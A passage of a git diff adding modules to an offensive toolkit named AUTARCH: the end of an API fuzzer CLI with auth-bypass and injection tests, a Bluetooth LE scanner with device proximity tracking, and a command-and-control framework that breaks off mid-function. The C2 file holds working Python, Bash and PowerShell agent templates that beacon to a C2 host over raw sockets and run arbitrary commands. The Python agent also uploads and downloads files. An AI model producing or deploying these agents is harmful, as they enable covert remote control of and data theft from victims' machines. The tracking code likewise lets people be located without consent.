'Debug/stack trace information in response' + }) + + return { + 'ok': True, + 'url': url, + 'status': resp.status_code, + 'headers': dict(resp.headers), + 'issues': issues, + 'issue_count': len(issues) + } + + except Exception as e: + return {'ok': False, 'error': str(e)} + + # ── Job Management ─────────────────────────────────────────────────── + + def get_job(self, job_id: str) -> Optional[Dict]: + return self._jobs.get(job_id) + + def list_jobs(self) -> List[Dict]: + return [{'id': k, **v} for k, v in self._jobs.items()] + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None + +def get_api_fuzzer() -> APIFuzzer: + global _instance + if _instance is None: + _instance = APIFuzzer() + return _instance + + +# ── CLI Interface ──────────────────────────────────────────────────────────── + +def run(): + """CLI entry point for API Fuzzer module.""" + if not HAS_REQUESTS: + print(" Error: requests library not installed") + return + + fuzzer = get_api_fuzzer() + + while True: + print(f"\n{'='*60}") + print(f" API Fuzzer") + print(f"{'='*60}") + print() + print(" 1 — Discover Endpoints") + print(" 2 — Parse OpenAPI Spec") + print(" 3 — Fuzz Parameters") + print(" 4 — Test Auth Bypass") + print(" 5 — Test IDOR") + print(" 6 — Test Rate Limiting") + print(" 7 — GraphQL Introspection") + print(" 8 — Analyze Response") + print(" 9 — Set Authentication") + print(" 0 — Back") + print() + + choice = input(" > ").strip() + + if choice == '0': + break + elif choice == '1': + base = input(" Base URL: ").strip() + if base: + job_id = fuzzer.discover_endpoints(base) + print(f" Discovery started (job: {job_id})") + while True: + job = fuzzer.get_job(job_id) + if job['status'] == 'complete': + print(f" Found {len(job['found'])} endpoints:") + for ep in job['found']: + print(f" [{ep['status']}] {ep['path']} " + f"({ep['content_type'][:30]})") + break + print(f" Checking... {job['checked']}/{job['total']}") + time.sleep(1) + elif choice == '2': + url = input(" OpenAPI spec URL or file: ").strip() + if url: + result = fuzzer.parse_openapi(url) + if result['ok']: + print(f" API: {result['title']} v{result['version']}") + print(f" Endpoints: {result['count']}") + for ep in result['endpoints'][:20]: + print(f" {ep['method']:<6} {ep['path']} {ep.get('summary', '')}") + else: + print(f" Error: {result['error']}") + elif choice == '3': + url = input(" Endpoint URL: ").strip() + param_str = input(" Parameters (key=val,key=val): ").strip() + ptype = input(" Payload type (sqli/xss/traversal/type_confusion): ").strip() or 'type_confusion' + if url and param_str: + params = dict(p.split('=', 1) for p in param_str.split(',') if '=' in p) + result = fuzzer.fuzz_params(url, params=params, payload_type=ptype) + if result['ok']: + print(f" Tested {result['tested']} combinations, {len(result['findings'])} findings:") + for f in result['findings']: + print(f" [{f.get('severity', '?')}] {f['type']}: {f['param']} = {f['payload'][:50]}") + elif choice == '4': + url = input(" Protected URL: ").strip() + if url: + result = fuzzer.test_auth_bypass(url) + print(f" Tested {len(result['bypasses'])} techniques, {result['successful']} successful") + for b in result['bypasses']: + status = 'BYPASSED' if b['success'] else f'blocked ({b["status"]})' + print(f" {b['technique']}: {status}") + elif choice == '6': + url = input(" URL to test: ").strip() + count = input(" Request count (default 50): ").strip() + if url: + result = fuzzer.test_rate_limit(url, int(count) if count.isdigit() else 50) + print(f" Rate limited: {result['rate_limited']}") + print(f" RPS: {result['rps']} | Total: {result['total_requests']} in {result['elapsed_seconds']}s") + if result['limit_hit_at']: + print(f" Limit hit at request #{result['limit_hit_at']}") + elif choice == '7': + url = input(" GraphQL URL: ").strip() + if url: + result = fuzzer.graphql_introspect(url) + if result['ok']: + print(f" Found {result['type_count']} types") + for t in result['types'][:10]: + print(f" {t['kind']}: {t['name']} ({len(t['fields'])} fields)") + else: + print(f" Error: {result['error']}") + elif choice == '8': + url = input(" URL: ").strip() + if url: + result = fuzzer.analyze_response(url) + if result['ok']: + print(f" Status: {result['status']} | Issues: {result['issue_count']}") + for issue in result['issues']: + print(f" [{issue['severity']}] {issue['type']}: {issue.get('value', issue.get('detail', ''))}") + elif choice == '9': + auth_type = input(" Auth type (bearer/api_key/basic/cookie): ").strip() + value = input(" Value: ").strip() + if auth_type and value: + fuzzer.set_auth(auth_type, value) + print(" Authentication configured") diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/ble_scanner.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/ble_scanner.py new file mode 100644 index 0000000..a71199a --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/ble_scanner.py @@ -0,0 +1,555 @@ +"""AUTARCH BLE Scanner + +Bluetooth Low Energy device discovery, service enumeration, characteristic +read/write, vulnerability scanning, and proximity tracking. +""" + +DESCRIPTION = "BLE device scanning & security analysis" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "analyze" + +import os +import re +import json +import time +import threading +from pathlib import Path +from datetime import datetime, timezone +from typing import Dict, List, Optional, Any + +try: + from core.paths import get_data_dir +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + +# Optional BLE library +try: + import asyncio + from bleak import BleakScanner, BleakClient + HAS_BLEAK = True +except ImportError: + HAS_BLEAK = False + + +# ── Known Service UUIDs ────────────────────────────────────────────────────── + +KNOWN_SERVICES = { + '00001800-0000-1000-8000-00805f9b34fb': 'Generic Access', + '00001801-0000-1000-8000-00805f9b34fb': 'Generic Attribute', + '0000180a-0000-1000-8000-00805f9b34fb': 'Device Information', + '0000180f-0000-1000-8000-00805f9b34fb': 'Battery Service', + '00001812-0000-1000-8000-00805f9b34fb': 'Human Interface Device', + '0000180d-0000-1000-8000-00805f9b34fb': 'Heart Rate', + '00001809-0000-1000-8000-00805f9b34fb': 'Health Thermometer', + '00001802-0000-1000-8000-00805f9b34fb': 'Immediate Alert', + '00001803-0000-1000-8000-00805f9b34fb': 'Link Loss', + '00001804-0000-1000-8000-00805f9b34fb': 'Tx Power', + '00001805-0000-1000-8000-00805f9b34fb': 'Current Time', + '00001808-0000-1000-8000-00805f9b34fb': 'Glucose', + '00001810-0000-1000-8000-00805f9b34fb': 'Blood Pressure', + '00001813-0000-1000-8000-00805f9b34fb': 'Scan Parameters', + '00001816-0000-1000-8000-00805f9b34fb': 'Cycling Speed & Cadence', + '00001818-0000-1000-8000-00805f9b34fb': 'Cycling Power', + '00001814-0000-1000-8000-00805f9b34fb': 'Running Speed & Cadence', + '0000fee0-0000-1000-8000-00805f9b34fb': 'Mi Band Service', + '0000feaa-0000-1000-8000-00805f9b34fb': 'Eddystone (Google)', +} + +MANUFACTURER_IDS = { + 0x004C: 'Apple', + 0x0006: 'Microsoft', + 0x000F: 'Texas Instruments', + 0x0059: 'Nordic Semiconductor', + 0x0075: 'Samsung', + 0x00E0: 'Google', + 0x0157: 'Xiaomi', + 0x0171: 'Amazon', + 0x02FF: 'Huawei', + 0x0310: 'Fitbit', +} + +KNOWN_VULNS = { + 'KNOB': { + 'description': 'Key Negotiation of Bluetooth Attack — downgrades encryption key entropy', + 'cve': 'CVE-2019-9506', + 'severity': 'high', + 'check': 'Requires active MITM during pairing' + }, + 'BLESA': { + 'description': 'BLE Spoofing Attack — reconnection spoofing without auth', + 'cve': 'CVE-2020-9770', + 'severity': 'medium', + 'check': 'Affects reconnection after disconnect' + }, + 'SweynTooth': { + 'description': 'Family of BLE implementation bugs causing crashes/deadlocks', + 'cve': 'Multiple (CVE-2019-16336, CVE-2019-17519, etc.)', + 'severity': 'high', + 'check': 'Vendor-specific, requires firmware version check' + }, + 'BlueBorne': { + 'description': 'Remote code execution via Bluetooth without pairing', + 'cve': 'CVE-2017-0781 to CVE-2017-0785', + 'severity': 'critical', + 'check': 'Requires classic BT stack, pre-2018 devices vulnerable' + } +} + + +# ── BLE Scanner ────────────────────────────────────────────────────────────── + +class BLEScanner: + """Bluetooth Low Energy device scanner and analyzer.""" + + def __init__(self): + self.data_dir = os.path.join(get_data_dir(), 'ble') + os.makedirs(self.data_dir, exist_ok=True) + self.devices: Dict[str, Dict] = {} + self.tracking_history: Dict[str, List[Dict]] = {} + self._scan_running = False + + def is_available(self) -> bool: + """Check if BLE scanning is available.""" + return HAS_BLEAK + + def get_status(self) -> Dict: + """Get scanner status.""" + return { + 'available': HAS_BLEAK, + 'devices_found': len(self.devices), + 'scanning': self._scan_running, + 'tracking': len(self.tracking_history) + } + + # ── Scanning ───────────────────────────────────────────────────────── + + def scan(self, duration: float = 10.0) -> Dict: + """Scan for BLE devices.""" + if not HAS_BLEAK: + return {'ok': False, 'error': 'bleak library not installed (pip install bleak)'} + + self._scan_running = True + + try: + loop = asyncio.new_event_loop() + devices = loop.run_until_complete(self._async_scan(duration)) + loop.close() + + results = [] + for dev in devices: + info = self._parse_device(dev) + self.devices[info['address']] = info + results.append(info) + + self._scan_running = False + return { + 'ok': True, + 'devices': results, + 'count': len(results), + 'duration': duration + } + + except Exception as e: + self._scan_running = False + return {'ok': False, 'error': str(e)} + + async def _async_scan(self, duration: float): + """Async BLE scan.""" + devices = await BleakScanner.discover(timeout=duration, return_adv=True) + return devices + + def _parse_device(self, dev_adv) -> Dict: + """Parse BLE device advertisement data.""" + if isinstance(dev_adv, tuple): + dev, adv = dev_adv + else: + dev = dev_adv + adv = None + + info = { + 'address': str(dev.address) if hasattr(dev, 'address') else str(dev), + 'name': dev.name if hasattr(dev, 'name') else 'Unknown', + 'rssi': dev.rssi if hasattr(dev, 'rssi') else (adv.rssi if adv and hasattr(adv, 'rssi') else 0), + 'services': [], + 'manufacturer': 'Unknown', + 'device_type': 'unknown', + 'connectable': True, + 'last_seen': datetime.now(timezone.utc).isoformat(), + } + + # Parse advertisement data + if adv: + # Service UUIDs + if hasattr(adv, 'service_uuids'): + for uuid in adv.service_uuids: + service_name = KNOWN_SERVICES.get(uuid.lower(), uuid) + info['services'].append({'uuid': uuid, 'name': service_name}) + + # Manufacturer data + if hasattr(adv, 'manufacturer_data'): + for company_id, data in adv.manufacturer_data.items(): + info['manufacturer'] = MANUFACTURER_IDS.get(company_id, f'ID: {company_id:#06x}') + info['manufacturer_data'] = data.hex() if isinstance(data, bytes) else str(data) + + # TX Power + if hasattr(adv, 'tx_power'): + info['tx_power'] = adv.tx_power + + # Classify device type + info['device_type'] = self._classify_device(info) + + return info + + def _classify_device(self, info: Dict) -> str: + """Classify device type from services and name.""" + name = (info.get('name') or '').lower() + services = [s['uuid'].lower() for s in info.get('services', [])] + + if any('1812' in s for s in services): + return 'hid' # keyboard/mouse + if any('180d' in s for s in services): + return 'fitness' + if any('180f' in s for s in services): + if 'headphone' in name or 'airpod' in name or 'buds' in name: + return 'audio' + if any('fee0' in s for s in services): + return 'wearable' + if info.get('manufacturer') == 'Apple': + if 'watch' in name: + return 'wearable' + if 'airpod' in name: + return 'audio' + return 'apple_device' + if 'tv' in name or 'chromecast' in name or 'roku' in name: + return 'media' + if 'lock' in name or 'door' in name: + return 'smart_lock' + if 'light' in name or 'bulb' in name or 'hue' in name: + return 'smart_light' + if 'beacon' in name or any('feaa' in s for s in services): + return 'beacon' + if 'tile' in name or 'airtag' in name or 'tracker' in name: + return 'tracker' + return 'unknown' + + # ── Device Detail ──────────────────────────────────────────────────── + + def get_device_detail(self, address: str) -> Dict: + """Connect to device and enumerate services/characteristics.""" + if not HAS_BLEAK: + return {'ok': False, 'error': 'bleak not installed'} + + try: + loop = asyncio.new_event_loop() + result = loop.run_until_complete(self._async_detail(address)) + loop.close() + return result + except Exception as e: + return {'ok': False, 'error': str(e)} + + async def _async_detail(self, address: str) -> Dict: + """Async device detail enumeration.""" + async with BleakClient(address) as client: + services = [] + for service in client.services: + svc = { + 'uuid': service.uuid, + 'name': KNOWN_SERVICES.get(service.uuid.lower(), service.description or service.uuid), + 'characteristics': [] + } + for char in service.characteristics: + ch = { + 'uuid': char.uuid, + 'description': char.description or char.uuid, + 'properties': char.properties, + 'value': None + } + # Try to read if readable + if 'read' in char.properties: + try: + val = await client.read_gatt_char(char.uuid) + ch['value'] = val.hex() if isinstance(val, bytes) else str(val) + # Try UTF-8 decode + try: + ch['value_text'] = val.decode('utf-8') + except (UnicodeDecodeError, AttributeError): + pass + except Exception: + ch['value'] = '' + + svc['characteristics'].append(ch) + services.append(svc) + + return { + 'ok': True, + 'address': address, + 'connected': True, + 'services': services, + 'service_count': len(services), + 'char_count': sum(len(s['characteristics']) for s in services) + } + + def read_characteristic(self, address: str, char_uuid: str) -> Dict: + """Read a specific characteristic value.""" + if not HAS_BLEAK: + return {'ok': False, 'error': 'bleak not installed'} + + try: + loop = asyncio.new_event_loop() + result = loop.run_until_complete(self._async_read(address, char_uuid)) + loop.close() + return result + except Exception as e: + return {'ok': False, 'error': str(e)} + + async def _async_read(self, address: str, char_uuid: str) -> Dict: + async with BleakClient(address) as client: + val = await client.read_gatt_char(char_uuid) + return { + 'ok': True, + 'address': address, + 'characteristic': char_uuid, + 'value_hex': val.hex(), + 'value_bytes': list(val), + 'size': len(val) + } + + def write_characteristic(self, address: str, char_uuid: str, + data: bytes) -> Dict: + """Write to a characteristic.""" + if not HAS_BLEAK: + return {'ok': False, 'error': 'bleak not installed'} + + try: + loop = asyncio.new_event_loop() + result = loop.run_until_complete(self._async_write(address, char_uuid, data)) + loop.close() + return result + except Exception as e: + return {'ok': False, 'error': str(e)} + + async def _async_write(self, address: str, char_uuid: str, data: bytes) -> Dict: + async with BleakClient(address) as client: + await client.write_gatt_char(char_uuid, data) + return {'ok': True, 'address': address, 'characteristic': char_uuid, + 'written': len(data)} + + # ── Vulnerability Scanning ─────────────────────────────────────────── + + def vuln_scan(self, address: str = None) -> Dict: + """Check for known BLE vulnerabilities.""" + vulns = [] + + for vuln_name, vuln_info in KNOWN_VULNS.items(): + entry = { + 'name': vuln_name, + 'description': vuln_info['description'], + 'cve': vuln_info['cve'], + 'severity': vuln_info['severity'], + 'status': 'check_required', + 'note': vuln_info['check'] + } + vulns.append(entry) + + # Device-specific checks + if address and address in self.devices: + dev = self.devices[address] + manufacturer = dev.get('manufacturer', '') + + # Apple devices with older firmware + if manufacturer == 'Apple': + vulns.append({ + 'name': 'Apple BLE Tracking', + 'description': 'Apple devices broadcast continuity messages that can be tracked', + 'severity': 'info', + 'status': 'detected' if 'apple_device' in dev.get('device_type', '') else 'not_applicable', + 'note': 'Apple continuity protocol leaks device info' + }) + + # Devices without encryption + for svc in dev.get('services', []): + if 'immediate alert' in svc.get('name', '').lower(): + vulns.append({ + 'name': 'Unauthenticated Alert Service', + 'description': 'Immediate Alert service accessible without pairing', + 'severity': 'low', + 'status': 'detected', + 'note': 'Can trigger alerts on device without authentication' + }) + + return { + 'ok': True, + 'address': address, + 'vulnerabilities': vulns, + 'vuln_count': len(vulns) + } + + # ── Proximity Tracking ─────────────────────────────────────────────── + + def track_device(self, address: str) -> Dict: + """Record RSSI for proximity tracking.""" + if address not in self.devices: + return {'ok': False, 'error': 'Device not found. Run scan first.'} + + dev = self.devices[address] + rssi = dev.get('rssi', 0) + tx_power = dev.get('tx_power', -59) # default TX power + + # Estimate distance (rough path-loss model) + if rssi != 0: + ratio = rssi / tx_power + if ratio < 1.0: + distance = pow(ratio, 10) + else: + distance = 0.89976 * pow(ratio, 7.7095) + 0.111 + else: + distance = -1 + + entry = { + 'timestamp': datetime.now(timezone.utc).isoformat(), + 'rssi': rssi, + 'estimated_distance_m': round(distance, 2), + 'tx_power': tx_power + } + + if address not in self.tracking_history: + self.tracking_history[address] = [] + self.tracking_history[address].append(entry) + + return { + 'ok': True, + 'address': address, + 'name': dev.get('name', 'Unknown'), + 'current': entry, + 'history_count': len(self.tracking_history[address]) + } + + def get_tracking_history(self, address: str) -> List[Dict]: + """Get tracking history for a device.""" + return self.tracking_history.get(address, []) + + # ── Persistence ────────────────────────────────────────────────────── + + def save_scan(self, name: str = None) -> Dict: + """Save current scan results.""" + name = name or f'scan_{int(time.time())}' + filepath = os.path.join(self.data_dir, f'{name}.json') + with open(filepath, 'w') as f: + json.dump({ + 'timestamp': datetime.now(timezone.utc).isoformat(), + 'devices': list(self.devices.values()), + 'count': len(self.devices) + }, f, indent=2) + return {'ok': True, 'path': filepath, 'count': len(self.devices)} + + def list_scans(self) -> List[Dict]: + """List saved scans.""" + scans = [] + for f in Path(self.data_dir).glob('*.json'): + try: + with open(f) as fh: + data = json.load(fh) + scans.append({ + 'name': f.stem, + 'path': str(f), + 'timestamp': data.get('timestamp', ''), + 'count': data.get('count', 0) + }) + except Exception: + pass + return scans + + def get_devices(self) -> List[Dict]: + """Get all discovered devices.""" + return list(self.devices.values()) + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None + +def get_ble_scanner() -> BLEScanner: + global _instance + if _instance is None: + _instance = BLEScanner() + return _instance + + +# ── CLI Interface ──────────────────────────────────────────────────────────── + +def run(): + """CLI entry point for BLE Scanner module.""" + scanner = get_ble_scanner() + + while True: + status = scanner.get_status() + print(f"\n{'='*60}") + print(f" BLE Scanner (bleak: {'OK' if status['available'] else 'MISSING'})") + print(f"{'='*60}") + print(f" Devices found: {status['devices_found']}") + print() + print(" 1 — Scan for Devices") + print(" 2 — View Devices") + print(" 3 — Device Detail (connect)") + print(" 4 — Vulnerability Scan") + print(" 5 — Track Device (proximity)") + print(" 6 — Save Scan") + print(" 7 — List Saved Scans") + print(" 0 — Back") + print() + + choice = input(" > ").strip() + + if choice == '0': + break + elif choice == '1': + dur = input(" Scan duration (seconds, default 10): ").strip() + result = scanner.scan(float(dur) if dur else 10.0) + if result['ok']: + print(f" Found {result['count']} devices:") + for dev in result['devices']: + print(f" {dev['address']} {dev.get('name', '?'):<20} " + f"RSSI={dev['rssi']} {dev['device_type']} ({dev['manufacturer']})") + else: + print(f" Error: {result['error']}") + elif choice == '2': + devices = scanner.get_devices() + for dev in devices: + print(f" {dev['address']} {dev.get('name', '?'):<20} " + f"RSSI={dev['rssi']} {dev['device_type']}") + elif choice == '3': + addr = input(" Device address: ").strip() + if addr: + result = scanner.get_device_detail(addr) + if result['ok']: + print(f" Services: {result['service_count']} Characteristics: {result['char_count']}") + for svc in result['services']: + print(f" [{svc['name']}]") + for ch in svc['characteristics']: + val = ch.get('value_text', ch.get('value', '')) + print(f" {ch['description']} props={ch['properties']} val={val}") + else: + print(f" Error: {result['error']}") + elif choice == '4': + addr = input(" Device address (blank=general): ").strip() or None + result = scanner.vuln_scan(addr) + for v in result['vulnerabilities']: + print(f" [{v['severity']:<8}] {v['name']}: {v['description'][:60]}") + elif choice == '5': + addr = input(" Device address: ").strip() + if addr: + result = scanner.track_device(addr) + if result['ok']: + c = result['current'] + print(f" RSSI: {c['rssi']} Distance: ~{c['estimated_distance_m']}m") + else: + print(f" Error: {result['error']}") + elif choice == '6': + name = input(" Scan name (blank=auto): ").strip() or None + result = scanner.save_scan(name) + print(f" Saved {result['count']} devices") + elif choice == '7': + for s in scanner.list_scans(): + print(f" {s['name']} ({s['count']} devices) {s['timestamp']}") diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/c2_framework.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/c2_framework.py new file mode 100644 index 0000000..4a2e696 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/c2_framework.py @@ -0,0 +1,610 @@ +"""AUTARCH C2 Framework + +Multi-session command & control framework with agent generation, +listener management, task queuing, and file transfer. +""" + +DESCRIPTION = "Command & Control framework" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "offense" + +import os +import re +import json +import time +import socket +import base64 +import secrets +import threading +import struct +from pathlib import Path +from datetime import datetime, timezone +from typing import Dict, List, Optional, Any +from dataclasses import dataclass, field + +try: + from core.paths import get_data_dir +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + +# ── Agent Templates ─────────────────────────────────────────────────────────── + +PYTHON_AGENT_TEMPLATE = '''#!/usr/bin/env python3 +"""AUTARCH C2 Agent — auto-generated.""" +import os,sys,time,socket,subprocess,json,base64,platform,random +C2_HOST="{host}" +C2_PORT={port} +BEACON_INTERVAL={interval} +JITTER={jitter} +AGENT_ID="{agent_id}" + +def beacon(): + while True: + try: + s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) + s.settimeout(30) + s.connect((C2_HOST,C2_PORT)) + # Register + info={{"id":AGENT_ID,"os":platform.system(),"hostname":socket.gethostname(), + "user":os.getenv("USER",os.getenv("USERNAME","unknown")), + "pid":os.getpid(),"arch":platform.machine()}} + s.send(json.dumps({{"type":"register","data":info}}).encode()+"\\n".encode()) + while True: + data=s.recv(65536) + if not data:break + try: + cmd=json.loads(data.decode()) + result=handle_cmd(cmd) + s.send(json.dumps(result).encode()+"\\n".encode()) + except:pass + except:pass + finally: + try:s.close() + except:pass + jitter_delay=BEACON_INTERVAL+random.uniform(-JITTER,JITTER) + time.sleep(max(1,jitter_delay)) + +def handle_cmd(cmd): + t=cmd.get("type","") + if t=="exec": + try: + r=subprocess.run(cmd["command"],shell=True,capture_output=True,text=True,timeout=60) + return{{"type":"result","task_id":cmd.get("task_id",""),"stdout":r.stdout[-4096:],"stderr":r.stderr[-2048:],"rc":r.returncode}} + except Exception as e: + return{{"type":"error","task_id":cmd.get("task_id",""),"error":str(e)}} + elif t=="download": + try: + with open(cmd["path"],"rb") as f:d=base64.b64encode(f.read()).decode() + return{{"type":"file","task_id":cmd.get("task_id",""),"name":os.path.basename(cmd["path"]),"data":d}} + except Exception as e: + return{{"type":"error","task_id":cmd.get("task_id",""),"error":str(e)}} + elif t=="upload": + try: + with open(cmd["path"],"wb") as f:f.write(base64.b64decode(cmd["data"])) + return{{"type":"result","task_id":cmd.get("task_id",""),"stdout":"Uploaded to "+cmd["path"]}} + except Exception as e: + return{{"type":"error","task_id":cmd.get("task_id",""),"error":str(e)}} + elif t=="sysinfo": + return{{"type":"result","task_id":cmd.get("task_id",""), + "stdout":json.dumps({{"os":platform.system(),"release":platform.release(), + "hostname":socket.gethostname(),"user":os.getenv("USER",os.getenv("USERNAME","")), + "pid":os.getpid(),"cwd":os.getcwd(),"arch":platform.machine()}})}} + elif t=="exit": + sys.exit(0) + return{{"type":"error","task_id":cmd.get("task_id",""),"error":"Unknown command"}} + +if __name__=="__main__":beacon() +''' + +BASH_AGENT_TEMPLATE = '''#!/bin/bash +# AUTARCH C2 Agent — auto-generated +C2_HOST="{host}" +C2_PORT={port} +INTERVAL={interval} +AGENT_ID="{agent_id}" +while true; do + exec 3<>/dev/tcp/$C2_HOST/$C2_PORT 2>/dev/null + if [ $? -eq 0 ]; then + echo '{{"type":"register","data":{{"id":"'$AGENT_ID'","os":"'$(uname -s)'","hostname":"'$(hostname)'","user":"'$(whoami)'","pid":'$$'}}}}' >&3 + while read -r line <&3; do + CMD=$(echo "$line" | python3 -c "import sys,json;d=json.load(sys.stdin);print(d.get('command',''))" 2>/dev/null) + TID=$(echo "$line" | python3 -c "import sys,json;d=json.load(sys.stdin);print(d.get('task_id',''))" 2>/dev/null) + if [ -n "$CMD" ]; then + OUTPUT=$(eval "$CMD" 2>&1 | head -c 4096) + echo '{{"type":"result","task_id":"'$TID'","stdout":"'$(echo "$OUTPUT" | base64 -w0)'"}}' >&3 + fi + done + exec 3>&- + fi + sleep $INTERVAL +done +''' + +POWERSHELL_AGENT_TEMPLATE = '''# AUTARCH C2 Agent — auto-generated +$C2Host="{host}" +$C2Port={port} +$Interval={interval} +$AgentId="{agent_id}" +while($true){{ + try{{ + $c=New-Object System.Net.Sockets.TcpClient($C2Host,$C2Port) + $s=$c.GetStream() + $w=New-Object System.IO.StreamWriter($s) + $r=New-Object System.IO.StreamReader($s) + $info=@{{type="register";data=@{{id=$AgentId;os="Windows";hostname=$env:COMPUTERNAME;user=$env:USERNAME;pid=$PID}}}}|ConvertTo-Json -Compress + $w.WriteLine($info);$w.Flush() + while($c.Connected){{ + $line=$r.ReadLine() + if($line){{ + $cmd=$line|ConvertFrom-Json + if($cmd.type -eq "exec"){{ + try{{$out=Invoke-Expression $cmd.command 2>&1|Out-String + $resp=@{{type="result";task_id=$cmd.task_id;stdout=$out.Substring(0,[Math]::Min($out.Length,4096))}}|ConvertTo-Json -Compress + }}catch{{$resp=@{{type="error";task_id=$cmd.task_id;error=$_.Exception.Message}}|ConvertTo-Json -Compress}} + $w.WriteLine($resp);$w.Flush() + }} + }} + }} + }}catch{{}} + Start-Sleep -Seconds $Interval +}} +''' + + +# ── C2 Server ───────────────────────────────────────────────────────────────── + +@dataclass +class Agent: + id: str + os: str = '' + hostname: str = '' + user: str = '' + pid: int = 0 + arch: str = '' + remote_addr: str = '' + first_seen: str = '' + last_seen: str = '' + status: str = 'active' # active, stale, dead + + +@dataclass +class Task: + id: str + agent_id: str + type: str + data: dict = field(default_factory=dict) + status: str = 'pending' # pending, sent, completed, failed + result: Optional[dict] = None + created_at: str = '' + completed_at: str = '' + + +class C2Server: + """Multi-session C2 server with agent management.""" + + def __init__(self): + self._data_dir = os.path.join(get_data_dir(), 'c2') + os.makedirs(self._data_dir, exist_ok=True) + self._agents: Dict[str, Agent] = {} + self._tasks: Dict[str, Task] = {} + self._agent_tasks: Dict[str, list] = {} # agent_id -> [task_ids] + self._agent_sockets: Dict[str, socket.socket] = {} + self._listeners: Dict[str, dict] = {} + self._listener_threads: Dict[str, threading.Thread] = {} + self._stop_events: Dict[str, threading.Event] = {} + + # ── Listener Management ─────────────────────────────────────────────── + + def start_listener(self, name: str, host: str = '0.0.0.0', + port: int = 4444, protocol: str = 'tcp') -> dict: + """Start a C2 listener.""" + if name in self._listeners: + return {'ok': False, 'error': f'Listener "{name}" already exists'} + + stop_event = threading.Event() + self._stop_events[name] = stop_event + + listener_info = { + 'name': name, 'host': host, 'port': port, 'protocol': protocol, + 'started_at': datetime.now(timezone.utc).isoformat(), + 'connections': 0, + } + self._listeners[name] = listener_info + + def accept_loop(): + try: + srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + srv.settimeout(2.0) + srv.bind((host, port)) + srv.listen(20) + listener_info['socket'] = srv + + while not stop_event.is_set(): + try: + conn, addr = srv.accept() + listener_info['connections'] += 1 + threading.Thread(target=self._handle_agent, + args=(conn, addr, name), + daemon=True).start() + except socket.timeout: + continue + except Exception: + break + except Exception as e: + listener_info['error'] = str(e) + finally: + try: + srv.close() + except Exception: + pass + + t = threading.Thread(target=accept_loop, daemon=True) + t.start() + self._listener_threads[name] = t + + return {'ok': True, 'message': f'Listener "{name}" started on {host}:{port}'} + + def stop_listener(self, name: str) -> dict: + """Stop a C2 listener.""" + if name not in self._listeners: + return {'ok': False, 'error': 'Listener not found'} + stop_event = self._stop_events.pop(name, None) + if stop_event: + stop_event.set() + listener = self._listeners.pop(name, {}) + sock = listener.get('socket') + if sock: + try: + sock.close() + except Exception: + pass + self._listener_threads.pop(name, None) + return {'ok': True, 'message': f'Listener "{name}" stopped'} + + def list_listeners(self) -> List[dict]: + return [{k: v for k, v in l.items() if k != 'socket'} + for l in self._listeners.values()] + + def _handle_agent(self, conn: socket.socket, addr: tuple, listener: str): + """Handle incoming agent connection.""" + conn.settimeout(300) # 5 min timeout + try: + data = conn.recv(65536) + if not data: + return + msg = json.loads(data.decode().strip()) + if msg.get('type') != 'register': + conn.close() + return + + info = msg.get('data', {}) + agent_id = info.get('id', secrets.token_hex(4)) + + agent = Agent( + id=agent_id, + os=info.get('os', ''), + hostname=info.get('hostname', ''), + user=info.get('user', ''), + pid=info.get('pid', 0), + arch=info.get('arch', ''), + remote_addr=f'{addr[0]}:{addr[1]}', + first_seen=datetime.now(timezone.utc).isoformat(), + last_seen=datetime.now(timezone.utc).isoformat(), + ) + + self._agents[agent_id] = agent + self._agent_sockets[agent_id] = conn + if agent_id not in self._agent_tasks: + self._agent_tasks[agent_id] = [] + + # Process pending tasks for this agent + while True: + pending = [t for t in self._get_pending_tasks(agent_id)] + if not pending: + time.sleep(1) + # Check if still connected + try: + conn.send(b'') + except Exception: + break + agent.last_seen = datetime.now(timezone.utc).isoformat() + continue + + for task in pending: + try: + cmd = {'type': task.type, 'task_id': task.id, **task.data} + conn.send(json.dumps(cmd).encode() + b'\n') + task.status = 'sent' + + # Wait for result + conn.settimeout(60) + result_data = conn.recv(65536) + if result_data: + result = json.loads(result_data.decode().strip()) + task.result = result + task.status = 'completed' + task.completed_at = datetime.now(timezone.utc).isoformat() + else: + task.status = 'failed' + except Exception as e: + task.status = 'failed' + task.result = {'error': str(e)} + + agent.last_seen = datetime.now(timezone.utc).isoformat() + + except Exception: + pass + finally: + conn.close() + # Mark agent as stale if no longer connected + for aid, sock in list(self._agent_sockets.items()): + if sock is conn: + self._agent_sockets.pop(aid, None) + if aid in self._agents: + self._agents[aid].status = 'stale' + + def _get_pending_tasks(self, agent_id: str) -> List[Task]: + task_ids = self._agent_tasks.get(agent_id, []) + return [self._tasks[tid] for tid in task_ids + if tid in self._tasks and self._tasks[tid].status == 'pending'] + + # ── Agent Management ────────────────────────────────────────────────── + + def list_agents(self) -> List[dict]: + agents = [] + for a in self._agents.values(): + # Check if still connected + connected = a.id in self._agent_sockets + agents.append({ + 'id': a.id, 'os': a.os, 'hostname': a.hostname, + 'user': a.user, 'pid': a.pid, 'arch': a.arch, + 'remote_addr': a.remote_addr, + 'first_seen': a.first_seen, 'last_seen': a.last_seen, + 'status': 'active' if connected else a.status, + }) + return agents + + def remove_agent(self, agent_id: str) -> dict: + if agent_id in self._agent_sockets: + try: + self._agent_sockets[agent_id].close() + except Exception: + pass + del self._agent_sockets[agent_id] + self._agents.pop(agent_id, None) + self._agent_tasks.pop(agent_id, None) + return {'ok': True} + + # ── Task Queue ──────────────────────────────────────────────────────── + + def queue_task(self, agent_id: str, task_type: str, + data: dict = None) -> dict: + """Queue a task for an agent.""" + if agent_id not in self._agents: + return {'ok': False, 'error': 'Agent not found'} + + task_id = secrets.token_hex(4) + task = Task( + id=task_id, + 